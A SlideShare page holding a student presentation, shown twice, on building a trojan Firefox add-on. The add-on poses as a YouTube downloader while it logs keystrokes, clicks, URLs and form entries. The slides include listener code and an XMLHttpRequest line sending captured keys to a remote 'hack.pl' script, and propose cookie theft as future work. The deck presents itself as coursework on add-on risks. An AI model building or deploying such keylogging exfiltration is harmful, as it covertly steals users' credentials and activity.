SlideShare uma empresa Scribd logo
1 de 24
Presented by

                                                         Suresh K
                                                Abin John George
                                                    Nimish Joseph
                                               Bairaginath Behera
                                                   Arunanand T A

M.Tech. 2011-13 CSE, Dept. of CSE, NIT Calicut, Kerala, IN, 673 601
Introduction
  What’s an add-on?
                That adds some feature to the existing system


  What’s a Trojan?
                That looks useful, but does unfavorable actions without our
                 knowledge




11/16/2011                 Dept. of CSE, NIT Calicut                           2
Overview
  Existing Add-on vs Ours
  Our Add-on: Features
  Challenges & Design
  Working as an abstraction
  Demonstration
  Conclusions
  References


11/16/2011       Dept. of CSE, NIT Calicut   3
Abstract
  Our add-on works as a normal YouTube video
      downloader, but it is a Trojan

  It will      capture your web activities like URLs
      visited, web form entries, etc. and shall send to a
      remote server

  It will, at the server, identify and store the IPs of the
      hosts
11/16/2011         Dept. of CSE, NIT Calicut                   4
Existing Add-on vs Our Add-on
  Easy YouTube Downloader [1]


  Helps download videos from YouTube


  We modified the source and added some js into the
      source



11/16/2011     Dept. of CSE, NIT Calicut               5
Features of our Add-on
  Still, works as YouTube Downloader


  Monitor click [2] and keyboard[2] events


  Sends all the URLs visited and events, which’s first
      stored in a buffer variable

  Keeps track of IP address of hosts, at the server

11/16/2011         Dept. of CSE, NIT Calicut              6
System Requirements
  Operating System: Windows/Linux


  Browser: Mozilla Firefox 1.5+


  Javascript Enabled [3]




11/16/2011      Dept. of CSE, NIT Calicut   7
Challenges
  Understanding the working of existing add-on.


  Where and how to modify the add-on?


  How to add event listeners?


  How to send captured information to the remote
      server?

11/16/2011      Dept. of CSE, NIT Calicut           8
Design
  We added some blocks of codes into “script-
      compiler.js” file

  The following methods/functions were created:
                Two Event Listeners – KeyPress and Click   to the window
                 object
                sendHref(href)
                addKey(Event)
                clickBuff(Event)
                sendBUFF(BUFF)

11/16/2011                Dept. of CSE, NIT Calicut                         9
Design – Contd…
  Two Event Listeners – KeyPress and Click to the
      window object

         WinObj.addEventListener("keypress",
             function(event){ BUFF.addKey(event); },
             true); [4]

         WinObj.addEventListener("click",
             function(event){ CLICK.Event(event); },
             true); [4]

11/16/2011           Dept. of CSE, NIT Calicut         10
Design – Contd…
  Retrieve href from window object
  sendHref(href)

             If href != "about:blank” then
                         Add href to the buffer
                         Call sendBuff() function




11/16/2011                Dept. of CSE, NIT Calicut   11
Design – Contd…
  addKey(Event)

         This is an key event handler function


         Once a key is pressed, this function will be automatically
             called (Callback function)

         From the Event object, we can extract key-press
             information

         Add this key to the buffer
11/16/2011              Dept. of CSE, NIT Calicut                  12
Design – Contd…
  clickBuff (Event)

         Why we included this clickBuff()?

         This is a click event handler function

         Once a click happens, observe its click target

         Store the click target in buffer

         While submit event happens, we will fetch the target values of
             click events stored.

11/16/2011                Dept. of CSE, NIT Calicut                        13
Design – Contd…
  sendBuff(buff)

                Using Ajax (XMLHttpRequest)
                If buff is full or submit event happens, buff is sent to the server



                var req = new XMLHttpRequest();

                req.open("GET", "http://www.mamboo.in/cgi-
                 bin/hack.pl?keys=" + hack, true);


11/16/2011                  Dept. of CSE, NIT Calicut                              14
Working as an abstraction




11/16/2011   Dept. of CSE, NIT Calicut   15
Server Side Set-up
  A Perl file for Receiving ‘buffer’ data


  Writes to the text file at the server


  $ENV{} hash of Perl (QUERY_STRING and REMOTE_ADDR)


  Timestamp and IP Information is retrieved and stored


11/16/2011       Dept. of CSE, NIT Calicut                16
As a package…
  Available as an .xpi package


  Open the file using Mozilla Firefox


  Restart, and start using




11/16/2011      Dept. of CSE, NIT Calicut   17
Demonstration
  We will now have a demonstration of our project


             http://www.youtube.com/watch?v=WiVZ8dI2stc




11/16/2011            Dept. of CSE, NIT Calicut           18
Future Enhancements
  We can enhance the server side for further processing
      of retrieved information

  Browser cookie details can be accessed




11/16/2011        Dept. of CSE, NIT Calicut                19
Conclusions
  The project aimed at creating a trojan add-on, which is
      successfully completed

  This      project is intended for revealing        the
      vulnerabilities caused by untrusted add-ons




11/16/2011        Dept. of CSE, NIT Calicut              20
References
 [1] https://addons.mozilla.org/
 [2]https://developer.mozilla.org/En/Developing_add-
     ons
 [3] http://www.rietta.com/firefox/index.html
 [4] Kenneth C., Programming Firefox, O’Reilly, 2007
 [5] http://www.google.com



11/16/2011     Dept. of CSE, NIT Calicut               21
Visit…
  Comprehensive details of our project is available at
      (Requires Login):

  https://sites.google.com/site/nitcmtech2013cs/semester
                   -1/is-project-sem1/trojan

                                   Or shortly,

                 http://tinyurl.com/taddon

11/16/2011        Dept. of CSE, NIT Calicut            22
Queries???



11/16/2011   Dept. of CSE, NIT Calicut   23
Thank You…
                             Contact:
                     sureshk.gec@gmail.com
                    abinjohn2008@gmail.com
                    nimishjoseph@gmail.com
                     mail2bairagi@gmail.com
                      arunta007@gmail.com




11/16/2011   Dept. of CSE, NIT Calicut        24

Mais conteúdo relacionado

Semelhante a A Simple Trojan Mozilla Firefox Add-on

The Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemThe Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemNicole Wells
 
FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012Nouh Walid
 
JSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingJSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingAndy Schwartz
 
20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10betaトニー 森田
 
Continuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsContinuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsMichael Kröll
 
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureBlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureCocoaHeads France
 
Vipul divyanshu documentation on Kinect and Motion Tracking
Vipul divyanshu documentation  on Kinect and Motion TrackingVipul divyanshu documentation  on Kinect and Motion Tracking
Vipul divyanshu documentation on Kinect and Motion TrackingVipul Divyanshu
 
Jenkins user conference 2011
Jenkins user conference 2011Jenkins user conference 2011
Jenkins user conference 2011Kohsuke Kawaguchi
 
JenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsJenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsLuca Milanesio
 
Adobe OSMF Overview
Adobe OSMF OverviewAdobe OSMF Overview
Adobe OSMF OverviewYoss Cohen
 
Address Binding Scheme
Address Binding SchemeAddress Binding Scheme
Address Binding SchemeRajesh Piryani
 
Information system development & programming language
Information system development & programming languageInformation system development & programming language
Information system development & programming languageMuhammad Shahid
 
Native Mobile Application Using Open Source
Native Mobile Application Using Open SourceNative Mobile Application Using Open Source
Native Mobile Application Using Open SourceAxway Appcelerator
 
OSCON Titanium Tutorial
OSCON Titanium TutorialOSCON Titanium Tutorial
OSCON Titanium TutorialKevin Whinnery
 
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
Programming Without Coding Technology (PWCT)  Getting Started - The Time MachineProgramming Without Coding Technology (PWCT)  Getting Started - The Time Machine
Programming Without Coding Technology (PWCT) Getting Started - The Time MachineMahmoud Samir Fayed
 
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsGraduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsDaniel Doubrovkine
 
See the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationSee the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationLammert Westerhoff
 
varun JENKINS.pptx
varun JENKINS.pptxvarun JENKINS.pptx
varun JENKINS.pptxVgPolampalli
 

Semelhante a A Simple Trojan Mozilla Firefox Add-on (20)

The Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemThe Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing Problem
 
FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012
 
JSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingJSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress coming
 
20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta
 
Continuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsContinuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with Jenkins
 
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureBlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
 
Vipul divyanshu documentation on Kinect and Motion Tracking
Vipul divyanshu documentation  on Kinect and Motion TrackingVipul divyanshu documentation  on Kinect and Motion Tracking
Vipul divyanshu documentation on Kinect and Motion Tracking
 
Jenkins user conference 2011
Jenkins user conference 2011Jenkins user conference 2011
Jenkins user conference 2011
 
JenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsJenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile Applications
 
Ad upresentation
Ad upresentationAd upresentation
Ad upresentation
 
Adobe OSMF Overview
Adobe OSMF OverviewAdobe OSMF Overview
Adobe OSMF Overview
 
Address Binding Scheme
Address Binding SchemeAddress Binding Scheme
Address Binding Scheme
 
Information system development & programming language
Information system development & programming languageInformation system development & programming language
Information system development & programming language
 
Native Mobile Application Using Open Source
Native Mobile Application Using Open SourceNative Mobile Application Using Open Source
Native Mobile Application Using Open Source
 
OSCON Titanium Tutorial
OSCON Titanium TutorialOSCON Titanium Tutorial
OSCON Titanium Tutorial
 
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
Programming Without Coding Technology (PWCT)  Getting Started - The Time MachineProgramming Without Coding Technology (PWCT)  Getting Started - The Time Machine
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
 
Learning Android Part 2/6
Learning Android Part 2/6Learning Android Part 2/6
Learning Android Part 2/6
 
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsGraduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
 
See the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationSee the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentation
 
varun JENKINS.pptx
varun JENKINS.pptxvarun JENKINS.pptx
varun JENKINS.pptx
 

Último

04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 

Último (20)

04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 

A Simple Trojan Mozilla Firefox Add-on

  • 1. Presented by Suresh K Abin John George Nimish Joseph Bairaginath Behera Arunanand T A M.Tech. 2011-13 CSE, Dept. of CSE, NIT Calicut, Kerala, IN, 673 601
  • 2. Introduction  What’s an add-on?  That adds some feature to the existing system  What’s a Trojan?  That looks useful, but does unfavorable actions without our knowledge 11/16/2011 Dept. of CSE, NIT Calicut 2
  • 3. Overview  Existing Add-on vs Ours  Our Add-on: Features  Challenges & Design  Working as an abstraction  Demonstration  Conclusions  References 11/16/2011 Dept. of CSE, NIT Calicut 3
  • 4. Abstract  Our add-on works as a normal YouTube video downloader, but it is a Trojan  It will capture your web activities like URLs visited, web form entries, etc. and shall send to a remote server  It will, at the server, identify and store the IPs of the hosts 11/16/2011 Dept. of CSE, NIT Calicut 4
  • 5. Existing Add-on vs Our Add-on  Easy YouTube Downloader [1]  Helps download videos from YouTube  We modified the source and added some js into the source 11/16/2011 Dept. of CSE, NIT Calicut 5
  • 6. Features of our Add-on  Still, works as YouTube Downloader  Monitor click [2] and keyboard[2] events  Sends all the URLs visited and events, which’s first stored in a buffer variable  Keeps track of IP address of hosts, at the server 11/16/2011 Dept. of CSE, NIT Calicut 6
  • 7. System Requirements  Operating System: Windows/Linux  Browser: Mozilla Firefox 1.5+  Javascript Enabled [3] 11/16/2011 Dept. of CSE, NIT Calicut 7
  • 8. Challenges  Understanding the working of existing add-on.  Where and how to modify the add-on?  How to add event listeners?  How to send captured information to the remote server? 11/16/2011 Dept. of CSE, NIT Calicut 8
  • 9. Design  We added some blocks of codes into “script- compiler.js” file  The following methods/functions were created:  Two Event Listeners – KeyPress and Click to the window object  sendHref(href)  addKey(Event)  clickBuff(Event)  sendBUFF(BUFF) 11/16/2011 Dept. of CSE, NIT Calicut 9
  • 10. Design – Contd…  Two Event Listeners – KeyPress and Click to the window object  WinObj.addEventListener("keypress", function(event){ BUFF.addKey(event); }, true); [4]  WinObj.addEventListener("click", function(event){ CLICK.Event(event); }, true); [4] 11/16/2011 Dept. of CSE, NIT Calicut 10
  • 11. Design – Contd…  Retrieve href from window object  sendHref(href) If href != "about:blank” then Add href to the buffer Call sendBuff() function 11/16/2011 Dept. of CSE, NIT Calicut 11
  • 12. Design – Contd…  addKey(Event)  This is an key event handler function  Once a key is pressed, this function will be automatically called (Callback function)  From the Event object, we can extract key-press information  Add this key to the buffer 11/16/2011 Dept. of CSE, NIT Calicut 12
  • 13. Design – Contd…  clickBuff (Event)  Why we included this clickBuff()?  This is a click event handler function  Once a click happens, observe its click target  Store the click target in buffer  While submit event happens, we will fetch the target values of click events stored. 11/16/2011 Dept. of CSE, NIT Calicut 13
  • 14. Design – Contd…  sendBuff(buff)  Using Ajax (XMLHttpRequest)  If buff is full or submit event happens, buff is sent to the server  var req = new XMLHttpRequest();  req.open("GET", "http://www.mamboo.in/cgi- bin/hack.pl?keys=" + hack, true); 11/16/2011 Dept. of CSE, NIT Calicut 14
  • 15. Working as an abstraction 11/16/2011 Dept. of CSE, NIT Calicut 15
  • 16. Server Side Set-up  A Perl file for Receiving ‘buffer’ data  Writes to the text file at the server  $ENV{} hash of Perl (QUERY_STRING and REMOTE_ADDR)  Timestamp and IP Information is retrieved and stored 11/16/2011 Dept. of CSE, NIT Calicut 16
  • 17. As a package…  Available as an .xpi package  Open the file using Mozilla Firefox  Restart, and start using 11/16/2011 Dept. of CSE, NIT Calicut 17
  • 18. Demonstration  We will now have a demonstration of our project http://www.youtube.com/watch?v=WiVZ8dI2stc 11/16/2011 Dept. of CSE, NIT Calicut 18
  • 19. Future Enhancements  We can enhance the server side for further processing of retrieved information  Browser cookie details can be accessed 11/16/2011 Dept. of CSE, NIT Calicut 19
  • 20. Conclusions  The project aimed at creating a trojan add-on, which is successfully completed  This project is intended for revealing the vulnerabilities caused by untrusted add-ons 11/16/2011 Dept. of CSE, NIT Calicut 20
  • 21. References [1] https://addons.mozilla.org/ [2]https://developer.mozilla.org/En/Developing_add- ons [3] http://www.rietta.com/firefox/index.html [4] Kenneth C., Programming Firefox, O’Reilly, 2007 [5] http://www.google.com 11/16/2011 Dept. of CSE, NIT Calicut 21
  • 22. Visit…  Comprehensive details of our project is available at (Requires Login): https://sites.google.com/site/nitcmtech2013cs/semester -1/is-project-sem1/trojan Or shortly, http://tinyurl.com/taddon 11/16/2011 Dept. of CSE, NIT Calicut 22
  • 23. Queries??? 11/16/2011 Dept. of CSE, NIT Calicut 23
  • 24. Thank You… Contact: sureshk.gec@gmail.com abinjohn2008@gmail.com nimishjoseph@gmail.com mail2bairagi@gmail.com arunta007@gmail.com 11/16/2011 Dept. of CSE, NIT Calicut 24